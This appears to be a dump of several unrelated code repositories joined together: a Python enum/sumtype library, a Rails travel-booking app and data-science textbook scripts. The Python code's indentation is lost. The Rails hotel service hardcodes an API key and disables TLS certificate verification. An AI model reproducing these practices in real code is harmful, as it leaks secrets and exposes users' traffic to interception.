# enumeration class later.
enum_values = {}
collections = {}
for key, value in data.items():
# Unpack Data objects into the class.
if isinstance(value, Data):
data[key] = value.unpack()
# Integers will be enumeration values.
elif isinstance(value, int):
enum_values[key] = value
# Lists and tuples will be converted to
# collections of the Enumeration values.
elif isinstance(value, (list, tuple)):
collections[key] = value
# We don't accept anything else.
elif not key.startswith('_'):
message = 'Enumeration must consist of ints or Data objects ' \
'only, got %s for \'%s\''
raise TypeError(message % (value.__class__.__name__, key))
# Create the new class object and give it the dictionary
# that will map the integral values to the instances.
class_ = type.__new__(cls, name, bases, data)
class_._values = {}
# Iterate over all entries in the data entries and
# convert integral values to instances of the enumeration
# class.
for key, value in six.iteritems(enum_values):
# Create the new object. We must not use the classes'
# __new__() method as it resolves the object from the
# existing values.
obj = object.__new__(class_)
object.__init__(obj)
obj.value = value
obj.name = key
if key == '__fallback__':
obj.name = '-invalid-'
else:
class_._values[value] = obj
setattr(class_, key, obj)
# Convert the collections.
for key, value in six.iteritems(collections):
value = type(value)(class_(v) for v in value)
setattr(class_, key, value)
return class_
def __iter__(self):
" Iterator over value-sorted enumeration values. "
return iter(self.__values__())
def __values__(self):
return sorted(six.itervalues(self._values), key=lambda x: x.value)
def __getattr__(self, name):
if self.__bases__ == (object,) and name == 'Data':
return Data
raise AttributeError(name)
class Enumeration(six.with_metaclass(_EnumerationMeta)):
"""
This is the base class for listing enumerations. All components of the class
that are integers will be automatically converted to instances of the
#Enumeration class. Creating new instances of the class will only work if the
value is an existing enumeration value.
The hash of an enumeration value is its name, but indexing a container
corresponds to its value.
"""
def __new__(cls, value, _allow_fallback=True):
"""
Creates a new instance of the Enumeration. *value* must be the integral
number of one of the existing enumerations. #NoSuchEnumerationValue is
raised in any other case.
If a fallback was defined, it is returned only if *value* is an integer,
not if it is a string.
"""
# Try to find the actual instance of the Enumeration class
# for the integer value and return it if it is available.
if isinstance(value, six.integer_types):
try:
value = cls._values[value]
except KeyError:
# If a fallback value was specified, use it
# instead of raising an exception.
if _allow_fallback and cls.__fallback__ is not None:
return cls.__fallback__
raise NoSuchEnumerationValue(cls.__name__, value)
# Or by name?
elif isinstance(value, six.string_types):
try:
new_value = getattr(cls, value)
if type(new_value) != cls:
raise AttributeError
except AttributeError:
raise NoSuchEnumerationValue(cls.__name__, value)
value = new_value
# At this point, value must be an object of the Enumeration
# class, otherwise an invalid value was passed.
if type(value) == cls:
return value
raise TypeError('value must be %s or int, got %s' % (cls.__name__, type(value).__name__))
def __hash__(self):
return hash(self.name)
def __eq__(self, other):
if type(other) == self.__class__:
return other.value == self.value
elif isinstance(other, six.string_types):
return other == self.name
else:
return self.value == other
def __ne__(self, other):
return not (self == other)
def __int__(self):
return self.value
def __str__(self):
class_name = self.__class__.__name__
return '<%s: %s>' % (class_name, self.name)
def __repr__(self):
class_name = self.__class__.__name__
return '<%s: [%d] %s>' % (class_name, self.value, self.name)
def __index__(self):
return self.value
def __nonzero__(self):
return False
__bool__ = __nonzero__ # Py3
# ctypes support
@property
def _as_parameter_(self):
return ctypes.c_int(self.value)
@Data
@classmethod
def from_param(cls, obj):
if isinstance(obj, (int,) + six.string_types):
obj = cls(obj)
if type(obj) != cls:
c1 = cls.__name__
c2 = obj.__class__.__name__
raise TypeError('can not create %s from %s' % (c1, c2))
return ctypes.c_int(obj.value)
<file_sep>/lib/nr.types/src/nr/types/sumtype.py
# The MIT License (MIT)
#
# Copyright (c) 2018 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
"""
Provides simple sumtype declarations.
"""
from six.moves import zip
from six import iteritems, with_metaclass
import re
import types
import six
__all__ = ['Constructor', 'MemberOf', 'Sumtype', 'AddIsMethods']
class Constructor(object):
"""
Represents a constructor for a sumtype.
"""
def __init__(self, *args):
self.name = None
self.type = None
self.args = args
self.members = {}
def bind(self, type, name):
obj = Constructor(*self.args)
obj.type = type
obj.name = name
obj.members = self.members.copy()
return obj
def accept_args(self, *args):
if self.type is None or self.name is None:
raise RuntimeError('unbound Constructor')
if len(args) != len(self.args):
raise TypeError('{}.{}() expected {} arguments, got {}'.format(
self.type.__name__, self.name, len(self.args), len(args)))
return dict(zip(self.args, args))
def __call__(self, *args):
if self.type is None or self.name is None:
raise RuntimeError('unbound Constructor')
return self.type(self, self.accept_args(*args))
class MemberOf(object):
"""
A decorator for functions or values that are supposed to be members of
only a specific sumtype's constructor (or multiple constructors). Instances
of this class will be automatically unpacked by the :class:`_TypeMeta`
constructor and moved into the :attr:`Constructor.members` dictionary.
"""
def __init__(self, constructors=None, value=None, name=None):
if isinstance(constructors, Constructor):
constructors = [constructors]
self.constructors = constructors
self.value = value
self.name = name
if name:
for c in constructors:
c.members[name] = value
def __call__(self, value):
if not self.name:
self.name = value.__name__
for c in self.constructors:
c.members[self.name] = value
return self
def update_constructors(self, attrname):
for constructor in self.constructors:
constructor.members[attrname] = self.value
class _TypeMeta(type):
def __new__(cls, name, bases, attrs):
subtype = type.__new__(cls, name, bases, attrs)
# Collect all new constructors.
constructors = getattr(subtype, '__constructors__', {}).copy()
for key, value in iteritems(vars(subtype)):
if isinstance(value, Constructor):
constructors[key] = value
# Update constructors from MemberOf declarations.
for key, value in list(iteritems(vars(subtype))):
if isinstance(value, MemberOf):
delattr(subtype, key)
# Bind constructors.
for key, value in iteritems(constructors):
setattr(subtype, key, value.bind(subtype, key))
subtype.__constructors__ = constructors
# Invoke addons.
for addin in getattr(subtype, '__addins__', []):
addin.init_type(subtype)
return subtype
def __getattr__(self, name):
if self.__bases__ == (object,) and name in __all__:
return globals()[name]
raise AttributeError(name)
class Sumtype(with_metaclass(_TypeMeta)):
"""
Base class for sumtypes. You can access all members of the sumtype
module via this type (but not through subclasses).
```python
from nr.types import Sumtype
class Result(Sumtype):
Ok = Sumtype.Constructor()
Error = Sumtype.Constructor('message')
assert not hasattr(Result, 'Constructor')
```
"""
__addins__ = []
__constructors__ = {}
def __init__(self, constructor, attrs):
assert isinstance(constructor, Constructor), type(constructor)
assert isinstance(attrs, dict), type(attrs)
self.__constructor__ = constructor
for key, value in iteritems(constructor.members):
if isinstance(value, types.FunctionType):
value = value.__get__(self, constructor.type)
setattr(self, key, value)
for key in constructor.args:
if key not in attrs:
raise ValueError('missing key in attrs: {!r}'.format(key))
for key, value in iteritems(attrs):
if key not in constructor.args:
raise ValueError('unexpected key in attrs: {!r}'.format(key))
setattr(self, key, value)
def __getitem__(self, index):
if hasattr(index, '__index__'):
index = index.__index__()
if isinstance(index, int):
return getattr(self, self.__constructor__.args[index])
elif isinstance(index, slice):
return tuple(getattr(self, k) for k in self.__constructor__.args[index])
else:
raise TypeError('indices must be integers or slices, not str')
def __iter__(self):
for k in self.__constructor__.args:
yield getattr(self, k)
def __len__(self):
return len(self.__constructor__.args)
def __repr__(self):
return '{}.{}({})'.format(type(self).__name__, self.__constructor__.name,
', '.join('{}={!r}'.format(k, getattr(self, k)) for k in self.__constructor__.args))
class AddIsMethods(object):
@staticmethod
def init_type(type):
def create_is_check(func_name, constructor_name):
def check(self):
constructor = getattr(self, constructor_name)
return self.__constructor__ == constructor
check.__name__ = name
check.__qualname__ = name
return check
for name in type.__constructors__.keys():
func_name = 'is_' + '_'.join(re.findall('[A-Z]+[^A-Z]*', name)).lower()
setattr(type, func_name, create_is_check(func_name, name))
Sumtype.__addins__.append(AddIsMethods)
<file_sep>/c4d_prototype_converter/res.py
import c4d
import os
import sys
__res__ = None
plugin_dir = None
def path(*parts):
return os.path.normpath(os.path.join(plugin_dir, *parts))
def local(*parts, **kwargs):
_stackdepth = kwargs.get('_stackdepth', 0)
parent_dir = os.path.dirname(sys._getframe(_stackdepth+1).f_globals['__file__'])
return os.path.normpath(os.path.join(parent_dir, *parts))
def bitmap(path):
bmp = c4d.bitmaps.BaseBitmap()
if bmp.InitWith(path)[0] != c4d.IMAGERESULT_OK:
bmp = None
return bmp
<file_sep>/lib/nr.types/src/nr/types/__init__.py
__author__ = '<NAME> <<EMAIL>>'
__version__ = '1.0.5'
from .enum import Enumeration
from .map import ChainMap, MapAsObject, ObjectAsMap, OrderedDict
from .named import Named
from .record import Record
from .sumtype import Sumtype
from .meta import InlineMetaclassBase
| 7ba408fa20a81d45838bc05b08284cf54fd63a9c | [
"Markdown",
"Python",
"Makefile"
] | 51 | Python | nrosenstein-c4d/c4d-prototype-converter | 6c0fcc03abdf5b545b6aa0314790359e455ac192 | 487db61ea7602c3727b88f5599a93ee15fa3af35 |
refs/heads/master | <repo_name>FilipeLaFeria/ThreeClicksTravel<file_sep>/Brewfile
tap "heroku/brew"
tap "homebrew/bundle"
tap "homebrew/core"
tap "homebrew/services"
brew "gh"
brew "git"
brew "imagemagick"
brew "jq"
brew "postgresql", restart_service: true
brew "rbenv"
brew "wget"
<file_sep>/db/migrate/20210615100725_remove_departure_from_flights.rb
class RemoveDepartureFromFlights < ActiveRecord::Migration[6.0]
def change
remove_column :flights, :departure, :string
end
end
<file_sep>/db/migrate/20210609112924_remove_firstname_from_profiles.rb
class RemoveFirstnameFromProfiles < ActiveRecord::Migration[6.0]
def change
remove_column :profiles, :first_name
end
end
<file_sep>/db/migrate/20210610140054_add_country_name_to_accommodation.rb
class AddCountryNameToAccommodation < ActiveRecord::Migration[6.0]
def change
add_column :accommodations, :country_name, :text
end
end
<file_sep>/app/controllers/destinations_controller.rb
class DestinationsController < ApplicationController
def index
# @destinations = Destination.all
# @destinations = Destination.select(:country_name).uniq
budget = current_user.definition.budget
interval = (budget - budget * 0.2)..(budget + budget * 0.2)
# @countries = Destination.pluck(:country_name).uniq
@destinations = Destination.where(total_price: interval)
.order(country_name: :desc)
.distinct_on(:country_name)
.limit(6)
.sort_by(&:total_price)
.reverse
end
end
<file_sep>/app/controllers/pages_controller.rb
class PagesController < ApplicationController
skip_before_action :authenticate_user!, only: :home
def home
if user_signed_in?
if current_user.definition.present?
@definition = current_user.definition
else
@definition = Definition.new
end
else
@definition = Definition.new
end
end
end
<file_sep>/app/services/hotels_service.rb
# require 'uri'
# require 'net/http'
# require 'openssl'
# require 'open-uri'
# require 'nokogiri'
# require 'byebug'
# require 'json'
class HotelsService
def self.call_location(location)
url = URI("https://hotels4.p.rapidapi.com/locations/search?query=#{location}&locale=en_US")
http = Net::HTTP.new(url.host, url.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
request = Net::HTTP::Get.new(url)
request["x-rapidapi-key"] = '15f720f90amsh81cae3f9fda379fp1e549djsncfff581f8508'
request["x-rapidapi-host"] = 'hotels4.p.rapidapi.com'
response = http.request(request)
#puts response.read_body
# ENV['RAPID_API_KEY']
result = JSON.parse(response.read_body)
destination_id = result['suggestions'][0]['entities'][0]['destinationId']
destination_id
return destination_id
end
def call_properties(location,adults,start_date,end_date)
id = HotelsService.call_location(location)
url = URI("https://hotels4.p.rapidapi.com/properties/list?adults1=#{adults}&pageNumber=1&destinationId=#{id}&pageSize=25&checkOut=#{end_date}&checkIn=#{start_date}&sortOrder=PRICE&locale=en_US¤cy=EUR")
http = Net::HTTP.new(url.host, url.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
request = Net::HTTP::Get.new(url)
request["x-rapidapi-key"] = '15f720f90amsh81cae3f9fda379fp1e549djsncfff581f8508'
request["x-rapidapi-host"] = 'hotels4.p.rapidapi.com'
response = http.request(request)
result = JSON.parse(response.read_body)
#### code to get the hotels
hotel_properties = []
result["data"]["body"]["searchResults"]["results"].each do |hotel|
hotel_properties << {name: hotel["name"], price: hotel["ratePlan"]["price"]["exactCurrent"].to_i, address: hotel["streetAddress"], rating: hotel["guestReviews"]["rating"].to_i}
end
p hotel_properties
end
end
# #HotelsService.call_location("Porto")
# hotel1 = HotelsService.new
# hotel1.call_properties("Porto","1","2021-06-22","2021-07-20")
<file_sep>/config/routes.rb
Rails.application.routes.draw do
devise_for :users
root to: 'pages#home'
resources :definitions, only: %i[show new create update destroy]
resources :ratings, only: %i[show new create update destroy]
resources :destinations, only: %i[index] do
resources :offers, only: %i[index] do
resources :bookings, only: %i[show new]
end
end
resources :bookings, only: %i[index destroy update]
resources :flights, only: %i[new create]
end
<file_sep>/db/migrate/20210609112725_remove_passenger_from_profiles.rb
class RemovePassengerFromProfiles < ActiveRecord::Migration[6.0]
def change
remove_column :profiles, :passenger
end
end
<file_sep>/app/controllers/definitions_controller.rb
class DefinitionsController < ApplicationController
before_action :set_definition, only: %i[show edit update destroy]
def show
end
def new
@definition = Definition.new
end
def create
@definition = Definition.new(definition_params)
@definition.user = current_user
if @definition.save
redirect_to destinations_path, notice: 'Your travel details were successfully added'
else
redirect_to root_path, notice: 'All fields must be filled!'
end
end
def edit
end
def update
if @definition.update(definition_params)
redirect_to destinations_path, notice: 'Your travel details were successfully updated'
else
redirect_to root_path, notice: 'All fields must be filled!'
end
end
def destroy
@definition.destroy
redirect_to root_path, notice: 'Your travel details were successfully destroyed'
end
private
def set_definition
@definition = Definition.find(params[:id])
end
def definition_params
params.require(:definition).permit(:username, :first_name, :last_name, :start_date, :end_date, :budget, :travellers)
end
end
<file_sep>/app/models/flight.rb
class Flight < ApplicationRecord
has_many :destinations
has_many :accommodations, through: :destinations
end
<file_sep>/app/models/offer.rb
class Offer < ApplicationRecord
belongs_to :destination
has_many :bookings, dependent: :destroy
has_many :users, through: :bookings
validates :address, presence: true
geocoded_by :address
after_validation :geocode, if: :will_save_change_to_address?
end
<file_sep>/app/controllers/offers_controller.rb
class OffersController < ApplicationController
before_action :generate_offers, only: :index
def index
@destination = Destination.find(params[:destination_id])
@offers = Offer.where(destination: Destination.where(city_name: @destination.city_name))
@markers = @offers.geocoded.map do |offer|
{
lat: offer.latitude,
lng: offer.longitude,
info_window: render_to_string(partial: 'info_window', locals: { offer: offer }),
image_url: helpers.asset_url('logo.ico')
}
end
end
private
def generate_offers
@destination = Destination.find(params[:destination_id])
budget = current_user.definition.budget
interval = (budget - budget * 0.2)..(budget + budget * 0.2)
@selected_destinations = Destination.where(city_name: @destination.accommodation.city_name).where(total_price: interval)
@selected_destinations.each do |destination|
Offer.where(destination: destination).first_or_create do |offer|
offer.total_price = destination.total_price
offer.address = destination.accommodation.address
end
end
end
end
<file_sep>/app/models/accommodation.rb
class Accommodation < ApplicationRecord
has_many :destinations
has_many :flights, through: :destinations
validates :price, presence: true, numericality: true
end
<file_sep>/db/migrate/20210615093228_add_check_out_to_accommodation.rb
class AddCheckOutToAccommodation < ActiveRecord::Migration[6.0]
def change
add_column :accommodations, :check_out, :date
end
end
<file_sep>/app/jobs/destinationsfill_job.rb
class DestinationsfillJob < ApplicationJob
queue_as :default
def perform(start_date, end_date)
puts 'Deleting old destinations...'
# Destination.destroy_all
puts 'Creating destinations...'
@flights = Flight.where('start_date = ?', start_date).where('end_date = ?', end_date)
@flights.each do |flight|
@accommodations = Accommodation.where('city_name = ?', flight.city_name).where('check_in = ?', start_date).where('check_out = ?', end_date)
@accommodations.each do |accommodation|
total_price = flight.price + accommodation.price
Destination.where(flight: flight, accommodation: accommodation).first_or_create do |dest|
dest.city_name = flight.city_name
dest.country_name = flight.country_name
dest.total_price = total_price
end
end
end
end
end
<file_sep>/db/migrate/20210609113713_rename_profiles_to_definitions.rb
class RenameProfilesToDefinitions < ActiveRecord::Migration[6.0]
def change
rename_table :profiles, :definitions
end
end
<file_sep>/db/migrate/20210610135822_add_city_name_to_accommodation.rb
class AddCityNameToAccommodation < ActiveRecord::Migration[6.0]
def change
add_column :accommodations, :city_name, :text
end
end
<file_sep>/db/migrate/20210610141649_rename_destination_to_city_name.rb
class RenameDestinationToCityName < ActiveRecord::Migration[6.0]
def change
rename_column :flights, :destination, :city_name
end
end
<file_sep>/app/controllers/flights_controller.rb
class FlightsController < ApplicationController
end
<file_sep>/db/migrate/20210609141708_add_airport_name_to_destinations.rb
class AddAirportNameToDestinations < ActiveRecord::Migration[6.0]
def change
add_column :destinations, :airport_name, :string
end
end
<file_sep>/app/models/definition.rb
class Definition < ApplicationRecord
belongs_to :user
validates :budget, :start_date, :end_date, :travellers, presence: true
after_create :destination_fill
private
def destination_fill
DestinationsfillJob.perform_now(start_date, end_date)
end
end
<file_sep>/db/migrate/20210609141647_add_city_name_to_destinations.rb
class AddCityNameToDestinations < ActiveRecord::Migration[6.0]
def change
add_column :destinations, :city_name, :string
end
end
<file_sep>/db/migrate/20210609151859_add_duration_to_flight.rb
class AddDurationToFlight < ActiveRecord::Migration[6.0]
def change
add_column :flights, :duration, :text
end
end
<file_sep>/db/migrate/20210610150809_remove_columns_from_destinations.rb
class RemoveColumnsFromDestinations < ActiveRecord::Migration[6.0]
def change
remove_column :destinations, :country_name
remove_column :destinations, :airport_name
end
end
<file_sep>/db/migrate/20210615154527_add_url_to_accommodations.rb
class AddUrlToAccommodations < ActiveRecord::Migration[6.0]
def change
add_column :accommodations, :url, :string
end
end
<file_sep>/app/controllers/bookings_controller.rb
class BookingsController < ApplicationController
def index
@bookings = Booking.all
end
def show
@booking = Booking.find(params[:id])
@offer = Offer.find(params[:offer_id])
end
def new
@offer = Offer.find(params[:offer_id])
@booking = Booking.where(user: current_user, offer: @offer).first_or_create
end
def update
@booking = Booking.find(params[:id])
@booking.update(booking_params)
end
def destroy
@booking = Booking.find(params[:id])
@booking.destroy
redirect_to bookings_path
end
private
def booking_params
params.require(:booking).permit(:status_flight, :status_accommodation)
end
end
<file_sep>/app/models/destination.rb
class Destination < ApplicationRecord
belongs_to :accommodation
belongs_to :flight
has_many :offers, dependent: :destroy
end
<file_sep>/db/migrate/20210615154508_remove_rating_from_accommodations.rb
class RemoveRatingFromAccommodations < ActiveRecord::Migration[6.0]
def change
remove_column :accommodations, :rating
end
end
<file_sep>/db/migrate/20210608161149_add_passenger_to_profiles.rb
class AddPassengerToProfiles < ActiveRecord::Migration[6.0]
def change
add_column :profiles, :passenger, :integer, default: 1
end
end
<file_sep>/db/migrate/20210615100826_add_departure_start_to_flights.rb
class AddDepartureStartToFlights < ActiveRecord::Migration[6.0]
def change
add_column :flights, :departure_start, :string
end
end
<file_sep>/db/migrate/20210609154134_add_departure_to_flights.rb
class AddDepartureToFlights < ActiveRecord::Migration[6.0]
def change
add_column :flights, :departure, :text
end
end
<file_sep>/app/models/booking.rb
class Booking < ApplicationRecord
belongs_to :offer
belongs_to :user
# validates :address, presence: true
# geocoded_by :address
# after_validation :geocode, if: :will_save_change_to_address?
end
<file_sep>/db/migrate/20210610140402_add_check_in_to_accommodation.rb
class AddCheckInToAccommodation < ActiveRecord::Migration[6.0]
def change
add_column :accommodations, :check_in, :text
end
end
<file_sep>/db/migrate/20210609141414_fix_column_name.rb
class FixColumnName < ActiveRecord::Migration[6.0]
def change
rename_column :accommodations, :location, :address
end
end
| 112387bef07d9c6c8eef3f80e4b85dcdec6d866c | [
"Ruby"
] | 35 | Ruby | FilipeLaFeria/ThreeClicksTravel | 9f63b03e3a5070f0627bf0ec3ae5a050d8d296e9 | 3ee663947f74899c46236dc26ce28f3d419704d2 |
refs/heads/master | <repo_name>usagisagi/data-science-from-scratch<file_sep>/chap12.py
from collections import Counter
import matplotlib.pyplot as plt
from chap8 import distance
from chap12_data import cities
from draw_states import draw_states
import numpy as np
def raw_majority_vote(labels):
votes = Counter(labels)
winner, _ = votes.most_common(1)[0]
return winner
def majority_vote(labels):
# labelsは近いものから遠いものにソートする
vote_counts = Counter(labels)
winner, winner_count = vote_counts.most_common(1)[0]
num_winners = len([count for count in vote_counts.values() if count == winner_count])
if num_winners == 1:
return winner
else:
return majority_vote(labels[:-1])
def knn_classify(k, labeled_points, new_point):
"""point (point, label)のペア"""
by_distance = sorted(labeled_points,
key=lambda elem: distance(elem[0], new_point))
# 近い順にk個の点を取り出す
k_nearest_labels = [label for _, label in by_distance[:k]]
return majority_vote(k_nearest_labels)
def plot_favorite_programing_languages(cities):
import seaborn as sns
sns.set()
draw_states()
plots = {"Java": ([], []), "Python": ([], []), "R": ([], [])}
for log, lat, language in cities:
plots[language][0].append(log)
plots[language][1].append(lat)
for language, (x, y) in plots.items():
plt.scatter(x, y, label=language, s=15)
plt.legend(loc=0)
plt.axis([-130, -60, 20, 55])
plt.show()
def find_k():
for k in [1, 3, 5, 7]:
num_correct = 0
labeled_cities = [((log, lat), language) for log, lat, language in cities]
for city in labeled_cities:
location, actual_language = city
other_cities = [other_city for other_city in labeled_cities if other_city != city]
predicted_language = knn_classify(k, other_cities, location)
if predicted_language == actual_language:
num_correct += 1
print(k, "neighbor[s]", num_correct, "correct out of", len(labeled_cities))
def grid_k_means(k):
labeled_cities = [((log, lat), language) for log, lat, language in cities]
grid_points = [(log, lat) for log in range(-130, -60) for lat in range(20, 55)]
predicted_language = [knn_classify(k, labeled_cities, grid_point) for grid_point in grid_points]
return [(point[0], point[1], language) for point, language in zip(grid_points, predicted_language)]
def random_point(dim):
return np.array([abs(np.random.randn()) for _ in range(dim)])
def random_distances(dim, num_pairs):
return np.array(
[np.linalg.norm(random_point(dim) - random_point(dim))
for _ in range(num_pairs)]
)
def calc_distances(max_dim, num_pairs):
np.random.seed(42)
avg_distances = []
min_distances = []
dim_range = range(1, max_dim)
for dim in dim_range:
distances = random_distances(dim, num_pairs)
avg_distances.append(np.average(distances))
min_distances.append(np.min(distances))
return avg_distances, min_distances, dim_range
def plot_random_distance(max_dim, num_pairs):
avg_distances, min_distances, dim_range = calc_distances(max_dim, num_pairs)
import seaborn as sns
sns.set()
plt.plot(dim_range, avg_distances, label="average")
plt.plot(dim_range, min_distances, label="min")
min_avg_ratio = [min_dist / avg_dist for min_dist, avg_dist in zip(min_distances, avg_distances)]
plt.plot(dim_range, min_avg_ratio)
plt.legend()
plt.show()
def plot_min_avg_ratio(max_dim, num_pairs):
avg_distances, min_distances, dim_range = calc_distances(max_dim, num_pairs)
import seaborn as sns
sns.set()
min_avg_ratio = [min_dist / avg_dist for min_dist, avg_dist in zip(min_distances, avg_distances)]
plt.plot(dim_range, min_avg_ratio)
plt.legend()
plt.show()
if __name__ == '__main__':
plot_favorite_programing_languages(cities)
find_k()
predicted_data = grid_k_means(3)
plot_favorite_programing_languages(predicted_data)
<file_sep>/draw_states.py
from bs4 import BeautifulSoup
import matplotlib.pyplot as plt
def load_text():
text = ""
with open("states.txt", encoding="utf-8") as f:
text = "".join(f)
return text
def extract_corner(text):
soup = BeautifulSoup(text, 'html5lib')
state_list = soup.find_all('state')
# List[List[(lat, lng)]] stateごとのlat, lngのリスト
point_list = [
[(float(point["lat"]), float(point["lng"])) for point in state.find_all("point")]
for state in state_list
]
return point_list
def draw_points(points_list):
for points in points_list:
for point_b, point_a in zip(points, points[1:]):
plt.plot((point_b[1], point_a[1]), (point_b[0], point_a[0]),
color='black',
linewidth=1)
def draw_states():
points_list = extract_corner(load_text())
draw_points(points_list)
if __name__ == '__main__':
pass
<file_sep>/chap7.py
import numpy as np
import scipy as sp
from scipy import special
import matplotlib.pyplot as plt
def normal_approximation_to_binomial(n, p):
mu = p * n
sigma = np.sqrt(p * (1 - p) * n)
return mu, sigma
def normal_cdf(x, mu=0, sigma=1):
return 1 + sp.math.erf((x - mu) / (np.sqrt(2) * sigma))
# 閾値を下回る確率
normal_probability_below = normal_cdf
def normal_probability_above(lo, mu=0, sigma=1):
"""
閾値を上回る確率
:param lo:
:param mu:
:param sigma:
:return:
"""
return 1 - normal_cdf(lo, mu, sigma)
def normal_probability_between(hi, lo, mu, sigma):
"""
閾値の間にある確率
:param hi:
:param lo:
:param mu:
:param sigma:
:return:
"""
return normal_probability_below(hi, mu, sigma) - normal_probability_below(lo, mu, sigma)
def normal_probability_outside(hi, lo, mu, sigma):
return 1 - normal_probability_between(hi, lo, mu, sigma)
def B(alpha, beta):
return special.gamma(alpha) * special.gamma(beta) / special.gamma(alpha + beta)
def beta_pdf(x, alpha, beta):
if x < 0 or x > 1:
return 0
return x ** (alpha - 1) * (1 - x) ** (beta - 1) / B(alpha, beta)
xs = np.arange(0.0, 1.0 + 0.001, 0.001)
plt.plot(xs, [beta_pdf(x, 20, 20) for x in xs])
plt.plot(xs, [beta_pdf(x, 4, 10) for x in xs])
plt.plot(xs, [beta_pdf(x, 14, 10) for x in xs])
plt.plot(xs, [beta_pdf(x, 4, 16) for x in xs])
<file_sep>/chap11.py
import numpy as np
np.random.seed(0)
def split_data(data: np.ndarray, prob=0.66):
"""データを prob : (1-prob)に分割する"""
buf_data = data.copy()
np.random.shuffle(buf_data)
num = int(np.floor(buf_data.shape[0] * prob))
return buf_data[:num], buf_data[num:]
def train_test_split(x, y, test_pct):
data = np.array(list(zip(x, y)))
train, test = split_data(data, 1 - test_pct)
x_train, y_train = list(zip(*train))
x_test, y_test = list(zip(*test))
return np.array(x_train), np.array(y_train), np.array(x_test), np.array(y_test)
def accuracy(tp, fp, fn, tn):
correct = tp + tn
total = tp + fp + fn + tn
return correct / total
def precision(tp, fp, fn, tn):
return tp / (tp + fp)
def recall(tp, fp, fn, tn):
return tp / (tp + fn)
def f1_score(tp, fp, fn, tn):
p = precision(tp, fp, fn, tn)
r = recall(tp, fp, fn, tn)
return 2 * p * r / (p + r)
if __name__ == '__main__':
nums = (70, 4930, 13930, 981070)
accuracy(*nums)
precision(*nums)
recall(*nums)
f1_score(*nums)<file_sep>/chap10.py
from collections import Counter, defaultdict
from functools import reduce, partial
from typing import Iterable, Dict, List
from chap6 import inverse_normal_cdf
import matplotlib.pyplot as plt
import numpy as np
import dateutil.parser
import csv
import datetime
from chap10_data import X
from chap8 import maximize_stochastic
np.random.seed(42)
def bucketize(point, bucket_size):
"""小数点以下を切り捨てて、揃える"""
return bucket_size * np.floor(point / bucket_size)
def make_histogram(points, bucket_size):
return Counter(bucketize(point, bucket_size) for point in points)
def plot_histogram(points, bucket_size, title=""):
hist_data = make_histogram(points, bucket_size)
plt.bar(list(hist_data.keys()), list(hist_data.values()), width=bucket_size)
plt.show()
def random_normal():
return inverse_normal_cdf(np.random.rand())
def make_matrix(num_rows, num_columns, f):
return np.array([[f(i, j) for j in range(num_columns)] for i in range(num_rows)])
def correlation_matrix(data: np.ndarray):
_, num_columns = data.shape
def matrix_entry(i, j):
return correlation(data[:, i], data[:, j])
return make_matrix(num_columns, num_columns, matrix_entry)
def make_scatterplot_matrix():
# first, generate some random data
num_points = 100
def random_row():
row = [None, None, None, None]
row[0] = random_normal()
row[1] = -5 * row[0] + random_normal()
row[2] = row[0] + row[1] + 5 * random_normal()
row[3] = 6 if row[2] > -2 else 0
return row
data = np.array([random_row() for _ in range(num_points)])
_, num_columns = data.shape
fig, ax = plt.subplots(num_columns, num_columns)
for i in range(num_columns):
for j in range(num_columns):
if i != j:
ax[i][j].scatter(data[:, j], data[:, i], marker='.')
else:
ax[i][j].annotate("series" + str(i), (0.5, 0.5),
xycoords='axes fraction',
ha='center',
va='center')
if i < num_columns - 1: ax[i][j].xaxis.set_visible(False)
if j > 0: ax[i][j].yaxis.set_visible(False)
ax[-1][-1].set_xlim(ax[0][-1].get_xlim())
ax[0][0].set_ylim(ax[0][1].get_ylim())
plt.show()
def parse_row(input_row, parsers):
return [try_or_none(parser)(value) if parser is not None else value
for (value, parser) in zip(input_row, parsers)]
def try_or_none(f):
"""
ラッピングした関数を返す
:param f:
:return:
"""
def f_or_none(x):
try:
return f(x)
except:
return None
return f_or_none
def load_stocks(name="stocks.txt") -> List:
ret_list = []
with open(name, 'r', encoding='utf-8') as f:
reader = csv.DictReader(f, delimiter='\t')
for r in reader:
ret_list.append(
{
"symbol": r['symbol'],
'date': datetime.datetime.strptime(r['date'], '%Y-%m-%d'),
'closing_price': float(r['closing_price'])
}
)
return ret_list
def picker(field_name: str):
return lambda r: r[field_name]
def pluck(field_name: str, rows: Dict) -> Iterable:
"""辞書 -> 指定した列のリストに変換する"""
return map(picker(field_name), rows)
def group_by(grouper, rows: Iterable, val_trans=None) -> Dict:
"""
:param grouper: rowsの各要素からキーを取り出す関数
:param rows: 行のiter
:param val_trans: keyで取り出したリストを値に変換する関数
:return: 辞書型
"""
# defaultdict(default_factory)
# 辞書にキーが存在しなければ、default_factoryで初期化
grouped = defaultdict(list)
for row in rows:
grouped[grouper(row)].append(row)
# この時点でキーはDict
if val_trans is None:
return grouped
else:
return {k: val_trans(row) for k, row in grouped.items()}
def percent_price_change(yesterday, today):
return today['closing_price'] / yesterday['closing_price'] - 1
def day_over_day_changes(grouped_rows):
"""day"""
# ソート
ordered = sorted(grouped_rows, key=picker("date"))
# 前日比を計算する
return [{
"symbol": today["symbol"],
"date": today["date"],
"change": percent_price_change(yesterday, today)
} for (yesterday, today) in zip(ordered, ordered[1:])]
def combine_pct_changes(pct_change1, pct_change2):
"""パーセンテージの合成"""
return (1 + pct_change1) * (1 + pct_change2) - 1
def overall_change(changes):
return reduce(combine_pct_changes, pluck("change", changes))
